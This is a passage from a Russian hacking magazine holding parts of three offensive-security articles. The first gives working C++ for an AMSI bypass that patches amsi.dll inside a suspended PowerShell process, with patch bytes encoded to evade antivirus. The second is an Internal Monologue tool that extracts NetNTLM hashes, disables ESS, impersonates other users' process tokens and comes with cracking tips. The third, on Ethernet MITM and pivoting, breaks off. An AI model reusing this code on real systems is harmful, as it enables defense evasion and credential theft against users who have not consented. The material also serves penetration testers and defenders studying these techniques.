powershell.exe запускалась как новая консоль. Как будто мы ее запустили
вручную, дважды кликнув на исполняемый файл. Функция возвращает PID
созданного процесса, а также инициализирует хендлы, указывающие на глав-
ный поток процесса и на сам процесс.
После создания процесса мы должны прицепиться к нему в качестве
отладчика. Делаем это при помощи функции DebugActiveProcess().

if (!DebugActiveProcess(pid))
{
DWORD err = GetLastError();
std::cerr << h("[-] Failed to attach to process: ") << err <<
" " << GetWinapiErrorDescription(err) << std::endl;
return 1;
}

Этой функции требуется только PID, PID возвращается


из StartProcessSuspended(). Теперь можем смело возобновлять основной
поток процесса, не боясь пропустить загрузку amsi.dll. После возобновле-
ния потока процесса сразу же вызываем WaitForDebugEvent() и начинаем
обрабатывать отладочные события.
Функция WaitForDebugEvent() служит для обработки всех отладочных
событий и имеет простой прототип.

BOOL WaitForDebugEvent(
[out] LPDEBUG_EVENT lpDebugEvent,
[in] DWORD dwMilliseconds
);

• lpDebugEvent — экземпляр специальной структуры, которая будет


содержать информацию об отладочном событии;
• dwMilliseconds — время, в течение которого ожидать отладочное
событие. Ставим INFINITE, чтобы ждать бесконечно.

После появления любого отладочного события функция вернет true, а в


lpDebugEvent.dwDebugEventCode будет лежать тип события. Нас интересуют
только LOAD_DLL_DEBUG_EVENT и EXIT_PROCESS_DEBUG_EVENT. Вызов фун-
кции обычно заворачивают в цикл while, а события обрабатывают через
switch-case.

while (WaitForDebugEvent(&debugEvent, INFINITE))


{
switch (debugEvent.dwDebugEventCode) {
case LOAD_DLL_DEBUG_EVENT:
...
break;
case EXIT_PROCESS_DEBUG_EVENT:
...
break;
}
ContinueDebugEvent(debugEvent.dwProcessId, debugEvent.
dwThreadId, DBG_CONTINUE);
}

Теперь нужно убедиться в том, что подгрузилась действительно amsi.dll


(другие библиотеки нас не интересуют). Для получения имени библиотеки
по ее хендлу (хендл будет лежать в lpDebugEvent.u.LoadDll.hFile) выпол-
няется функция GetFinalPathNameByHandleA(). Она вернет в свой второй
параметр полный путь DLL, который мы будем сравнивать с оригинальным
местоположением amsi.dll.

case LOAD_DLL_DEBUG_EVENT:
char szName[MAX_PATH];
if (GetFinalPathNameByHandleA(debugEvent.u.LoadDll.hFile, szName
, MAX_PATH, VOLUME_NAME_DOS))
{
if (strcmp(szName, h("\\\\?\\C:\\Windows\\System32\\amsi.dll"
)) == 0) {

// Подгрузился AMSI
}
}

Наконец, приступаем к патчингу библиотеки. Сначала сохраняем базовый


адрес загрузки (его можно получить из lpDebugEvent.u.LoadDll.
lpBaseOfDll) в отдельную переменную. Следующим шагом нам нужно
получить адреса функций AmsiOpenSession() и AmsiScanBuffer(). Их-то мы
и будем патчить. Есть два варианта:
• простой способ. Грузим в адресное пространство собственного процесса
библиотеку amsi.dll и через GetProcAddress() получаем адреса нуж-
ных функций. Из-за особенностей DLL эти функции будут расположены
по тем же адресам в процессе powershell.exe;
• сложный способ. Ничего не грузим в собственный процесс, а парсим EAT
подгружаемой в текущий момент в процесс PowerShell библиотеки amsi.

Я, само собой, выбрал сложный способ. Для этого вывел всю логику по пар-
сингу EAT в отдельную функцию GetFunctionAddressFromEAT(), она при-
нимает хендл процесса, базовый адрес библиотеки, а также имя функции,
адрес которой нужно получить.

FARPROC GetFunctionAddressFromEAT(HANDLE hProcess, LPVOID baseAddress


, const std::string& functionName)
{
DWORD err;
IMAGE_DOS_HEADER dosHeader;
if (!ReadProcessMemory(hProcess, baseAddress, &dosHeader, sizeof(
dosHeader), nullptr))
{
err = GetLastError();
std::cout << h("[-] Failed to read IMAGE_DOS_HEADER: ") <<
err << h(" ") << GetWinapiErrorDescription(err) << std::endl;
return nullptr;
}

IMAGE_NT_HEADERS ntHeader;
if (!ReadProcessMemory(hProcess, reinterpret_cast<std::uint8_t*>(
baseAddress) + dosHeader.e_lfanew, &ntHeader, sizeof(ntHeader),
nullptr))
{
err = GetLastError();
std::cout << h("[-] Failed to read IMAGE_NT_HEADERS") << err
<< h(" ") << GetWinapiErrorDescription(err) << std::endl;
return nullptr;
}

IMAGE_EXPORT_DIRECTORY exportDirectory;
if (!ReadProcessMemory(hProcess, reinterpret_cast<std::uint8_t*>(
baseAddress) +
ntHeader.OptionalHeader.DataDirectory[
IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress,
&exportDirectory, sizeof(exportDirectory), nullptr))
{
err = GetLastError();
std::cout << h("[-] Failed to read IMAGE_EXPORT_DIRECTORY") <
< err << h(" ") << GetWinapiErrorDescription(err) << std::endl;
return nullptr;
}

DWORD* functionAddresses = new DWORD[exportDirectory.


NumberOfFunctions];
ReadProcessMemory(hProcess, reinterpret_cast<std::uint8_t*>(
baseAddress) + exportDirectory.AddressOfFunctions,
functionAddresses, sizeof(DWORD) * exportDirectory.
NumberOfFunctions, nullptr);

DWORD* functionNames = new DWORD[exportDirectory.NumberOfNames];


ReadProcessMemory(hProcess, reinterpret_cast<std::uint8_t*>(
baseAddress) + exportDirectory.AddressOfNames,
functionNames, sizeof(DWORD) * exportDirectory.NumberOfNames,
nullptr);

WORD* functionNameOrdinals = new WORD[exportDirectory.


NumberOfNames];
ReadProcessMemory(hProcess, reinterpret_cast<std::uint8_t*>(
baseAddress) + exportDirectory.AddressOfNameOrdinals,
functionNameOrdinals, sizeof(WORD) * exportDirectory.
NumberOfNames, nullptr);

FARPROC functionAddress = nullptr;


for (DWORD i = 0; i < exportDirectory.NumberOfNames; ++i)
{
char name[256] = { 0 };
ReadProcessMemory(hProcess, reinterpret_cast<std::uint8_t*>(
baseAddress) + functionNames[i], name, sizeof(name), nullptr);
if (functionName == name)
{
DWORD functionOrdinal = functionNameOrdinals[i];
DWORD functionRelativeVirtualAddress = functionAddresses[
functionOrdinal];
functionAddress = reinterpret_cast<FARPROC>(
reinterpret_cast<std::uint8_t*>(baseAddress) +
functionRelativeVirtualAddress);
break;
}
}

delete[] functionAddresses;
delete[] functionNames;
delete[] functionNameOrdinals;

return functionAddress;
}

PVOID addr = GetFunctionAddressFromEAT(hProc, amsiBase, h(


"AmsiOpenSession"));

Здесь идет стандартный парсинг EAT, просто библиотеки другого процесса.


После получения адреса переходим к патчу. Я рекомендую использовать патч
Rasta Mouse. Проблема лишь в том, что его патч уже известен и на пос-
ледовательность 0x48, 0x31, 0xC0 могут ругаться антивирусы. Поэтому
предлагаю сохранить патч в виде последовательности десятичных чисел
и конвертировать шестнадцатеричные на лету.

int values[3] = { 72, 49, 192 };


char patch[3];
std::ostringstream oss;
for (int i = 0; i < 3; i++) {
oss << std::hex << std::setw(2) << std::setfill('0') << values[i]
;
std::string hexValue = oss.str();
patch[i] = std::stoi(hexValue, nullptr, 16);
oss.str("");
}

Сам патч применить несложно — достаточно воспользоваться функцией


WriteProcessMemory(), которой передадим хендл процесса powershell.exe
и адрес функции, которую нужно пропатчить. В данном случае —
AmsiOpenSession().

WriteProcessMemory(hProc, addr, (PVOID)patch, 3, nullptr);


DWORD err1 = GetLastError();
if (err1 != 0) {
std::cout << h("[-] Error patching AmsiOpenSession: ") << err1 <<
h(" ") << GetWinapiErrorDescription(err1) << std::endl;
}

Точно таким же образом патчим AmsiScanBuffer().

PVOID addr2 = GetFunctionAddressFromEAT(hProc, amsiBase, h(


"AmsiScanBuffer"));
int values2[6] = { 184, 87,0,7,128,195 };
char patch2[6];
std::ostringstream oss2;
for (int i = 0; i < 6; i++) {
oss2 << std::hex << std::setw(2) << std::setfill('0') << values2[
i];
std::string hexValue2 = oss2.str();
patch2[i] = std::stoi(hexValue2, nullptr, 16);
oss2.str("");
}
WriteProcessMemory(hProc, addr2, (PVOID)patch2, 6, nullptr);
err1 = GetLastError();
if (err1 != 0) {
std::cout << h("[-] Error patching AmsiScanBuffer: ") << err1 <<
h(" ") << GetWinapiErrorDescription(err1) << std::endl;
}
std::cout << h("[+] Patching Complete") << std::endl;
goto me;

Затем нужно как можно скорее перестать быть отладчиком. Для этого ставим
метку на функцию DebugActiveProcessStop().

me:
if (!DebugActiveProcessStop(pid))
{
DWORD ll = GetLastError();
std::cerr << h("[-] Failed to detach from process: ") << ll << h(
" ") << GetWinapiErrorDescription(ll) << std::endl;
return -1;
}

Полный код проекта доступен на моем GitHub. Достаточно лишь запустить


исполняемый файл, а он приведет к тому, что у нас появится окно
powershell.exe, уже с пропатченным AMSI!

Успешный патч

ÈÇÁÅÃÀÅÌ ÈÑÏÎËÜÇÎÂÀÍÈß ÔÓÍÊÖÈÈ DEBUGACTIVEPROCESS

Функция DebugActiveProcess(), конечно, хороша, но хотелось бы избежать


и ее использования. В нашем случае это возможно: я нашел еще один инте-
ресный флаг, который можно указать при запуске дочернего процесса.
С этим флагом мы автоматически становимся отладчиком для дочернего про-
цесса, что позволяет обрабатывать все отладочные события. Для этого дос-
таточно лишь указать в функции CreateProcess() значение
DEBUG_ONLY_THIS_PROCESS.

Измененный код функции

В таком случае часть с вызовом функции DebugActiveProcess() можно


закомментировать — она больше не нужна.

Работающий патч

ÇÀÊËÞ×ÅÍÈÅ

WinAPI настолько огромен, что даже самые легитимные фичи могут помочь
атакующему достичь своих целей. Самое главное — найти нужную функцию
и понять, в какой момент к ней обращаться. А все остальное — дело техники!
COVERSTORY

Windows позволяет разработчикам соз-


давать шифрованные каналы связи, под-
писывать сообщения между клиентом
и службой, аутентифицировать клиента
на службе. Злоупотребляя этими воз- MichelleVermishelle
@Michaelzhm
можностями, мы можем извлекать учетные michael.zhmailo@yandex.ru

данные пользователя без взаимодействия


с LSASS. В этой статье я продемонстрирую,
как это работает.

Security Support Provider Interface (SSPI) — это механизм, предоставляющий


огромный набор функций для разработчиков. Среди его преимуществ:
• независимость от транспорта (данные передавать можно любым обра-
зом);
• общий для всех SSP интерфейс;
• аутентификация (в том числе с заимствованием прав);
• конфиденциальность сообщений (шифрование);
• сохранность сообщений (цифровая подпись).

SSP, если ты не читал мою прошлую статью, — это набор DLL-файлов,


который позволяет использовать протоколы безопасности (NTLMSSP,
Kerberos и иные) в клиент-серверных процессах. Если сильно обобщить, то
SSPI — это API для вызова загруженных в систему SSP.

ÐÅÊÂÈÇÈÒÛ, ÊÎÍÒÅÊÑÒ È ÁËÎÁÛ

SSPI создает так называемые security blobs. По-русски — «элементы


безопасности» или «компоненты безопасности», но официального перевода
мне не попадалось, так что остановимся на «блобах». Этими самыми бло-
бами клиент и сервер обмениваются по удобному для них протоколу.
Чтобы подготовить начальные блобы, клиент получает хендл, указывающий
на его реквизиты. Под реквизитами понимается хендл на учетные данные кли-
ента, с помощью которых он может, например, пройти аутентификацию
на службе. Получить реквизиты можно с помощью AcquireCredentialsHandle().
Путем обмена блобами выстраивается контекст. Контекст — специальный
объект, который хранится и на клиенте, и на сервере. Контекст — результат
успешной аутентификации клиента на сервере и в некоторых случаях — сер-
вера на клиенте. С помощью выстроенного контекста можно использовать
весь потенциал SSPI. Например, можно построить контекст, получить хендл,
а затем шифровать передаваемые между клиентом и сервером сообщения.
Причем сервер сможет расшифровать сообщения, так как у него есть кон-
текст, сгенерированный вместе с клиентом, на котором данные шифруются.
Итак, для построения контекста используются специальные функции
AcceptSecurityContext() и InitializeSecurityContext(). Контекст выстраивается
не сразу. Если требуется еще пару раз обменяться блобами с сервером
или клиентом, то возвращается ошибка SEC_I_CONTINUE_NEEDED.
Думаю, звучит страшно. Давай визуализируем. Построение контекста
на стороне клиента выглядит следующим образом.

SSPI на клиенте

Клиент сначала получает хендл на свои реквизиты с помощью функции


AcquireCredentialsHandle(), затем начинает выстраивать контекст,
используя блобы. Как только функция InitializeSecurityContext() перес-
тала возвращать SEC_I_CONTINUE_NEEDED, можно считать, что контекст выс-
троен, и пользоваться всеми функциями SSPI.
На стороне сервера происходит почти то же самое, только вместо
InitializeSecurityContext() используется функция
AcceptSecurityContext().

SSPI на сервере

Сервер тоже получает хендл на свои реквизиты и точно так же взаимодей-


ствует с блобами. После построения контекста в некоторых случаях допол-
нительно вызывается функция ImpersonateSecurityContext(), которая позволя-
ет заимствовать права клиента.

ÈÇÂÅÑÒÍÛÅ ÀÒÀÊÈ

Теперь, бегло ознакомившись с SSPI, можно переходить к эксплуатации. Есть


четыре основных вида атак:
• Internal Monologue — выстраиваем контекст с помощью SSPI, используя
NTLMSSP. Извлекаем NetNTLM-хеш пользователя;
• TGT Delegation — выстраиваем контекст с помощью SSPI, используя
Kerberos. Причем контекст выстраиваем на машину с неограниченным
делегированием, что позволяет из AP-REQ-пакета достать TGT-билет
пользователя;
• обход UAC с помощью SSPI Datagram Contexts. На GitHub есть PoC;
• LPE через подмену одного контекста другим. Подробнее — на GitHub. Уяз-
вимость получила номер CVE-2023-21746.

Я познакомлю тебя с первым вариантом. Про TGT Delegation можно про-


читать в статье «Эксплуатируем TGT Delegation в Active Directory».

Продолжение статьи →
COVERSTORY ← НАЧАЛО СТАТЬИ

ДОСТАЕМ УЧЕТНЫЕ ДАННЫЕ


WINDOWS, НЕ ТРОГАЯ LSASS

ÂÍÓÒÐÅÍÍÈÉ ÌÎÍÎËÎÃ

Эту атаку придумал исследователь Элад Шамир. Принцип ее заключается


в том, чтобы зарегистрировать свое приложение и как клиент, и как сервер.
Затем пройти аутентификацию, используя NTLMSSP. После успешной аутен-
тификации серверная часть нашей программы получит NetNTLM-хеш поль-
зователя. Клиентская часть программы сгенерирует этот хеш по заданному
сервером челленджу.
Можем начинать писать эксплоит! Чтобы было удобнее, я выложил полный
код проекта на GitHub. А PoC Элада Шамира можешь глянуть в его репози-
тории.
Начнем с режимов. В инструменте я предусмотрел два флага — -
downgrade и -pid. Работать тулза будет, только если запускать ее от лица
более-менее привилегированного пользователя. Первый флаг позволяет
понизить уровень аутентификации до уровня NetNTLMv1. Эта версия чуть
более просто брутится. Второй флаг дает возможность получить NetNTLM-
хеш владельца определенного процесса. Например, если в системе есть
процесс cmd.exe, запущенный от лица user, то получится достать NetNTLM-
хеш этого пользователя.
Если достаточных привилегий нет, то просто получим NetNTLM-хеш
текущего пользователя. Если на системе разрешен NetNTLMv1, то итоговый
хеш будет первой версии; если не разрешен, то второй.
Начнем с получения реквизитов. Как я уже говорил, для этого использует-
ся функция AcquireCredentialsHandle().
Вызываем ее следующим образом.

SECURITY_STATUS status = AcquireCredentialsHandleW(


(LPWSTR)response.UserName.c_str(),
(LPWSTR)L"NTLM",
SECPKG_CRED_BOTH,
NULL,
NULL,
NULL,
NULL,
&_hCred,
&ClientLifeTime
);

Первым аргументом указываем имя пользователя, чьи реквизиты хотим


получить. Имя пользователя я ранее занес в специальный класс
InternalMonologueResponse.

class InternalMonologueResponse {
public:
std::wstring Challenge = L"";
std::wstring Resp1 = L"";
std::wstring Resp2 = L"";
std::wstring Domain = L"";
std::wstring UserName = L"";
std::wstring UsernameWithoutDomain = L"";
void Print() {
std::wcout << UsernameWithoutDomain << L"::" << Domain << L":" <<
Resp1 << L":" << Resp2 << L":" << Challenge << std::endl;
}
};

Так как в нашей программе предусмотрено получение NetNTLM чужих поль-


зователей, нужно будет получить имя пользователя через токен текущего
потока.

LPWSTR GetCurrentUsername() {
HANDLE hToken;
if (!OpenThreadToken(GetCurrentThread(), TOKEN_READ,FALSE, &hToken))
{
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_READ, &hToken))
return (LPWSTR)L"";
}

DWORD bufferSize = 0;
if (!GetTokenInformation(hToken, TokenUser, NULL, 0, &bufferSize) &&
GetLastError() != ERROR_INSUFFICIENT_BUFFER) {
CloseHandle(hToken);
return (LPWSTR)L"";
}

PTOKEN_USER pTokenUser = (PTOKEN_USER)malloc(bufferSize);


if (!pTokenUser) {
CloseHandle(hToken);
return (LPWSTR)L"";
}

if (!GetTokenInformation(hToken, TokenUser, pTokenUser, bufferSize,


&bufferSize)) {
free(pTokenUser);
CloseHandle(hToken);
return (LPWSTR)L"";
}

WCHAR accountName[MAX_PATH];
WCHAR domainName[MAX_PATH];
DWORD accountNameSize = MAX_PATH;
DWORD domainNameSize = MAX_PATH;
SID_NAME_USE snu;

if (!LookupAccountSidW(NULL, pTokenUser->User.Sid, accountName, &


accountNameSize, domainName, &domainNameSize, &snu)) {
free(pTokenUser);
CloseHandle(hToken);
return (LPWSTR)L"";
}

std::wstring username = std::wstring(domainName) + L"\" + std::


wstring(accountName);

free(pTokenUser);
CloseHandle(hToken);

LPWSTR lpwstr = new WCHAR[username.length() + 1];


wcscpy_s(lpwstr, username.length() + 1, username.c_str());
return lpwstr;
}

После получения реквизитов (они упали в _hCred) можно начинать обмен


блобами. Пока еще в клиентской части нашего приложения вызываем
InitializeSecurityContext().

status = InitializeSecurityContextW(
&_hCred,
NULL,
(LPWSTR)response.UserName.c_str(),
ISC_REQ_CONNECTION,
0,
SECURITY_NATIVE_DREP,
NULL,
0,
&_hClientContext,
&ClientToken,
&ContextAttributes,
&ClientLifeTime
);

В эту функцию передается хендл на реквизиты и все то же имя пользователя.


Фактически мы говорим, что хотим построить контекст на самих себя. Сле-
дующие значения стандартны для этой функции, нет смысла их пояснять, они
описаны в документации.
После инициализации первичного блоба (начала построения контекста)
регистрируем серверную часть нашего приложения. Из функции
InitializeSecurityContext() нам вернулись необходимые для построения
контекста параметры, поэтому передаем их в AcceptSecurityContext().
Делаем вид, что мы как будто передали эти блобы на сервер, а сервер их
получил и начал обрабатывать.

status = AcceptSecurityContext(
&_hCred,
NULL,
&ClientToken,
ISC_REQ_CONNECTION | ISC_REQ_ALLOCATE_MEMORY,
SECURITY_NATIVE_DREP,
&_hServerContext,
&ServerToken,
&ContextAttributes,
&ClientLifeTime
);

Убедившись, что функция завершена успешно, можем считать, что начало


есть. Фактически произошло следующее:
• клиент обратился к серверу с целью построения контекста;
• сервер принял запрос и готов обрабатывать все блобы для построения
контекста.

Остается лишь эмулировать отправку челленджа клиенту. В модели NTLMSSP


челлендж — это цифровое значение, которое пользователь должен изменить,
используя свой NTLM-хеш.
Для этого мы сначала должны преобразовать блоб в поток байтов. Он
представлен в моей программе как std::vector<BYTE>, а преобразование
из структуры SecBufferDesc выполняется с помощью функции
GetSecByteBufferArray(). Структура SecBufferDesc описывает переда-
ваемые блобы.

std::vector <BYTE> serverMessage;


serverMessage = GetSecBufferByteArray(&ServerToken);

std::vector<BYTE> GetSecBufferByteArray(const SecBufferDesc*


pSecBufferDesc) {
if (!pSecBufferDesc) {
throw std::invalid_argument("SecBufferDesc pointer cannot be null"
);
}

std::vector<BYTE> buffer;

if (pSecBufferDesc->cBuffers == 1) {
SecBuffer* pSecBuffer = pSecBufferDesc->pBuffers;
if (pSecBuffer->cbBuffer > 0 && pSecBuffer->pvBuffer) {
buffer.resize(pSecBuffer->cbBuffer);
memcpy(&buffer[0], pSecBuffer->pvBuffer, pSecBuffer->cbBuffer);
}
}
else {
size_t bytesToAllocate = 0;

for (unsigned int i = 0; i < pSecBufferDesc->cBuffers; ++i) {


bytesToAllocate += pSecBufferDesc->pBuffers[i].cbBuffer;
}

buffer.resize(bytesToAllocate);
BYTE* pBufferIndex = &buffer[0];

for (unsigned int i = 0; i < pSecBufferDesc->cBuffers; ++i) {


SecBuffer* pSecBuffer = &(pSecBufferDesc->pBuffers[i]);
if (pSecBuffer->cbBuffer > 0 && pSecBuffer->pvBuffer) {
memcpy(pBufferIndex, pSecBuffer->pvBuffer, pSecBuffer->
cbBuffer);
pBufferIndex += pSecBuffer->cbBuffer;
}
}
}

return buffer;
}

Теперь нужно поработать с челленджем. То есть со значением, которое сер-


вер отправляет клиенту. Челлендж также следует перевести в поток байтов.

std::vector<uint8_t> challengeBytes = StringToByteArray(challenge);

std::vector<uint8_t> StringToByteArray(LPCWSTR hex) {


std::wstring hexStr(hex);
size_t length = hexStr.length();

if (length % 2 == 1) {
return std::vector<uint8_t>();
}

std::vector<uint8_t> arr(length >> 1);

for (size_t i = 0; i < length >> 1; ++i) {


uint8_t msb = (hexStr[i << 1] >= '0' && hexStr[i << 1] <= '9') ?
hexStr[i << 1] - '0' : std::toupper(hexStr[i << 1]) - 'A' + 10;
uint8_t lsb = (hexStr[(i << 1) + 1] >= '0' && hexStr[(i << 1) + 1
] <= '9') ? hexStr[(i << 1) + 1] - '0' : std::toupper(hexStr[(i << 1)
+ 1]) - 'A' + 10;

arr[i] = (msb << 4) + lsb;


}

return arr;
}

Функция выглядит, конечно, страшно, но умные люди подсказали и более ак-


куратный вариант.
Затем следует не забывать про ESS. Extended Session Security — один
из механизмов безопасности для NetNTLMv1, направленный на усложнение
брутфорса этих хешей. В частности, он позволял предотвратить Rainbow-ата-
ку на этот тип хешей, так как клиент добавлял и свой челлендж перед тем,
как сформировать ответ на сервер. Это изменяет хеш, и пропадает воз-
можность поиска этого хеша в заранее сгенерированной таблице хеш —
пароль.
За включение ESS отвечает всего один бит, поэтому просто меняем его
значение и отключаем ESS.

if (DisableEss) {
serverMessage[22] = (BYTE)(serverMessage[22] & 0xF7);
}

В SSPI очень много абстракций. Разработчику достаточно вызывать нужные


функции, чтобы получить желаемый результат, а разбираться в глубоких осо-
бенностях протокола не требуется. В случае NTLMSSP Windows уже авто-
матически сгенерировала челлендж, который сервер должен отослать кли-
енту. Хотя будет правильнее сказать даже не челлендж, а пакет, который
содержит всю необходимую информацию, чтобы клиентская сторона, исполь-
зуя свой NTLM-хеш, предоставила ответ.
Но мы-то хотим использовать собственный челлендж, а не сгенерирован-
ный кем-то! Поэтому челлендж нужно заменить. К счастью, никаких подписей,
которые могли бы нам помешать, здесь нет. Поэтому просто по рассчитан-
ным офсетам копируем наш челлендж.

ReplaceChallenge(serverMessage, challengeBytes);

void ReplaceChallenge(std::vector<uint8_t>& serverMessage, const std:


:vector<uint8_t>& challengeBytes) {
std::copy(challengeBytes.begin(), challengeBytes.begin() + 8,
serverMessage.begin() + 24);
std::fill(serverMessage.begin() + 32, serverMessage.begin() + 48, 0
);
}

Дело за малым. Делаем вид, что клиент получил этот пакет, вызываем
InitializeSecurityContext(), и клиент генерирует ответ на челлендж.

status = InitializeSecurityContextW(
&_hCred,
&_hClientContext,
(LPWSTR)response.UserName.c_str(),
ISC_REQ_CONNECTION,
0,
SECURITY_NATIVE_DREP,
&ServerToken,
0,
&_hClientContext,
&ClientToken,
&ContextAttributes,
&ClientLifeTime
);

if (status != SEC_E_OK && DisableEss) {


vfree(ClientSecBuffer2.pvBuffer);
vfree(ServerSecBuffer2.pvBuffer);
return InternalMonologueForCurrentUser(challenge, false);
}

std::vector<BYTE> result = GetSecBufferByteArray(&ClientToken);


vfree(ClientSecBuffer2.pvBuffer); // Макрос для освобождения памяти.
Нам эти буферы больше не нужны
vfree(ServerSecBuffer2.pvBuffer);

ParseNTResponse(result, challenge, response);

Обрати внимание, что функция может завершиться неуспешно. В таком слу-


чае следует попробовать сгенерировать ответ, не отключая ESS.
Итак, остается лишь грамотно распарсить ответ. Для этого я написал
отдельную функцию.

void ParseNTResponse(const std::vector<BYTE>& message, LPCWSTR


challenge, InternalMonologueResponse& result) {
uint16_t lm_resp_len = *reinterpret_cast<const uint16_t*>(&message[
12]);
uint32_t lm_resp_off = *reinterpret_cast<const uint32_t*>(&message[
16]);
uint16_t nt_resp_len = *reinterpret_cast<const uint16_t*>(&message[
20]);
uint32_t nt_resp_off = *reinterpret_cast<const uint32_t*>(&message[
24]);
uint16_t domain_len = *reinterpret_cast<const uint16_t*>(&message[
28]);
uint32_t domain_off = *reinterpret_cast<const uint32_t*>(&message[
32]);

std::vector<BYTE> lm_resp(lm_resp_len);
std::vector<BYTE> nt_resp(nt_resp_len);
std::vector<BYTE> domain(domain_len);

std::copy(message.begin() + lm_resp_off, message.begin() +


lm_resp_off + lm_resp_len, lm_resp.begin());
std::copy(message.begin() + nt_resp_off, message.begin() +
nt_resp_off + nt_resp_len, nt_resp.begin());
std::copy(message.begin() + domain_off, message.begin() +
domain_off + domain_len, domain.begin());

result.Challenge = challenge;
result.UsernameWithoutDomain = SplitDomain(result.UserName);

if (nt_resp_len == 24) {
result.Domain = ConvertHex(byteArrayToString(domain));
result.Resp1 = byteArrayToString(lm_resp);
result.Resp2 = byteArrayToString(nt_resp);
}
else if (nt_resp_len > 24) {
result.Domain = ConvertHex(byteArrayToString(domain));
result.Resp1 = byteArrayToString(nt_resp).substr(0, 32);
result.Resp2 = byteArrayToString(nt_resp).substr(32);
}
}

В ответе по конкретным офсетам можно прочитать длину и смещение всей


необходимой для нас информации. Остается лишь подготовить переменные,
которые будут содержать поток байтов, а затем конвертировать этот поток
в привычные для нас символы.

std::wstring byteArrayToString(const std::vector<BYTE>& byteArray) {


std::wstring result;
result.reserve(byteArray.size() * 2);
for (BYTE b : byteArray) {
wchar_t buf[3];
wsprintf(buf, L"%02X", b);
result.append(buf);
}

return result;
}

И получаем на руки NetNTLM-хеш, который можно смело брутить! А уж если


получили NetNTLM первой версии, то можно для увеличения скорости брута
разложить на два DES-ключика, советует netmux. Либо можешь восполь-
зоваться онлайновыми сервисами вроде crack.sh или shuck.sh.
Итак, время демонстрации! При запуске инструмента без каких-либо аргу-
ментов получаем NetNTLM-хеш пользователя.

Получение NetNTLM-хеша пользователя

В начале статьи я рассказывал про аргумент -pid. Через него указывается


PID процесса. Используя магию перевоплощения, можно получить NetNTLM-
хеш пользователя — владельца этого процесса. Все сводится к стандартной
манипуляции с токенами. Получаем токен этого чужого процесса и нацепляем
на себя.

DWORD ApplyProcessToken(DWORD pid) {


ImpersonateSelf(SecurityDelegation);
HANDLE procHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION,
FALSE, pid);

HANDLE hSystemTokenHandle;
OpenProcessToken(procHandle, TOKEN_DUPLICATE, &hSystemTokenHandle);

HANDLE newTokenHandle;
DuplicateTokenEx(hSystemTokenHandle, TOKEN_ALL_ACCESS, NULL,
SecurityDelegation, TokenPrimary, &newTokenHandle);

ImpersonateLoggedOnUser(newTokenHandle);
return GetLastError();
}

А затем в той же последовательности вызываем SSPI-функции. Вновь


переходим к демо. Находим PID процесса, запущенного от лица другого
пользователя, и тащим хеш!

Получение чужого NetNTLM-хеша

ÂÛÂÎÄÛ

Встроенные в систему Windows механизмы очень удобны для разработчика,


но некоторые из них могут без проблем предоставить выигрыш и атакующе-
му, в чем мы, собственно, сегодня и убедились.
ВЗЛОМ

Атаки на Ethernet в рамках пентеста дают


значительный импакт, однако при атаках
на канальном уровне есть большая веро-
ятность ошибиться и нарушить нормальную
работу сети. В этой статье я расскажу Caster
Network Security Expert
о нюансах сбора информации, техниках @wearecaster

MITM и Ethernet-пивотинге.

Статья имеет ознакомительный характер и пред-


назначена для специалистов по безопасности,
проводящих тестирование в рамках контракта.
Автор и редакция не несут ответственности
за любой вред, причиненный с применением
изложенной информации. Распространение вре-
доносных программ, нарушение работы систем
и нарушение тайны переписки преследуются
по закону.

В мае 2022 года я выпускал статью под названием Ethernet Abyss, в которой
разобрал атаки на канальный уровень. Перед тобой — ее «VIP-ремикс».
На этот раз я расскажу о приемах сбора информации об оборудовании
без шума в эфире, о том, как проводить MITM-атаки безопасно, и об особен-
ностях Ethernet-туннелей при пивотинге.

ÑÁÎÐ ÈÍÔÎÐÌÀÖÈÈ

L2 — это канальный уровень компьютерной сети. Тут происходит коммутация


кадров, сегментация сети. Атаки канального уровня могут быть очень опас-
ными, поскольку атакующий, проникнув в этот сегмент, способен нанести
большой урон. А проникнуть он может либо если его туда пустили, либо если
он обеспечил себя L2-туннелем.
Давай поговорим о нюансах сбора информации и о том, какие потен-
циальные векторы атак сможет открыть для себя атакующий при первичном
анализе трафика. Дальше я буду активно пользоваться инструментом Above,
можешь тоже им обзавестись.

Ïåðâîå ïîäêëþ÷åíèå
Уже после подключения к сетевому коммутатору атакующий может создать
шум в эфире. Например, автоматически активный NetworkManager с DHCP.
Рекомендую не спешить с активным DHCP, сделай так, чтобы хотя бы
интерфейс был в состоянии UP.
Также стоит заметить, что по DHCP передается имя устройства, которое
получило адрес автоматически. Вся эта информация будет храниться
на DHCP-сервере. Это довольно неприятный расклад для пентестера, однако
передачу хостнейма по DHCP можно выключить здесь:

sudo nano /etc/NetworkManager/system-connections/Wired\ connection\ 1

[ipv4]
method=auto
dhcp-send-hostname=false

Передача hostname до конфигурации NM

Спрятанный hostname системы после конфигурации NM

Таким образом можно спрятать имя системы от DHCP-сервера, просто


не передавать его через настройки NetworkManager.

Discovery-ïðîòîêîëû
Discovery-протоколы нужны для обмена информацией между устройствами,
однако в большинстве случаев сетевые девайсы настроены так, что рассылка
DP происходит абсолютно во все порты коммутатора, а это снижает уровень
сетевой безопасности. Атакующий, получив эти кадры, сможет узнать чувс-
твительную информацию об оборудовании вроде версии прошивки, модели
устройства, типа адресации.

Информация о CDP, полученная с помощью Above

Îáíàðóæåíèå 802.1Q-òåãîâ
802.1Q — стандарт, имеющий отношение к тегированию коммутационных
фреймов. В контексте коммутатора при разбиении сети VLAN на сегменты
используются два типа портов:
• Access — порт в режиме доступа, обычно он настраивается на стороне
конечных станций, чтобы они имели первичный доступ к сети;
• Trunk — при этом режиме происходит инкапсуляция Ethernet-кадров.

Когда атакующий впервые подключается к коммутатору, не исключено, что он


окажется именно на Trunk-порте, где тегируются фреймы. Если действитель-
но так произойдет, то пентестер сможет оказаться во всех VLAN-сегментах,
к которым подключен коммутатор. Вот примерные сценарии, при которых
такое возможно:
• Работающий порт по умолчанию находится в контексте коммутатора Cisco.
Там активен протокол DTP, причем все порты работают в режиме Dynamic
Auto. Если атакующий сгенерирует и отправит в сторону такого порта кадр
DTP Desirable, это приведет к тому, что порт атакующего переключится
в транк.
• Порт коммутатора для Voice VLAN настроен небезопасно. Я встречал
такие случаи, в которых необходимо было подключить в разрыв и VoIP-
телефон, и компьютер и при этом порт коммутатора настраивался
в режиме Trunk, хотя стоило бы грамотно настроить VLAN Access
для компьютера и Voice VLAN для телефона. Если атакующий найдет такой
порт, фактически он уже пробьется во все VLAN-сегменты.

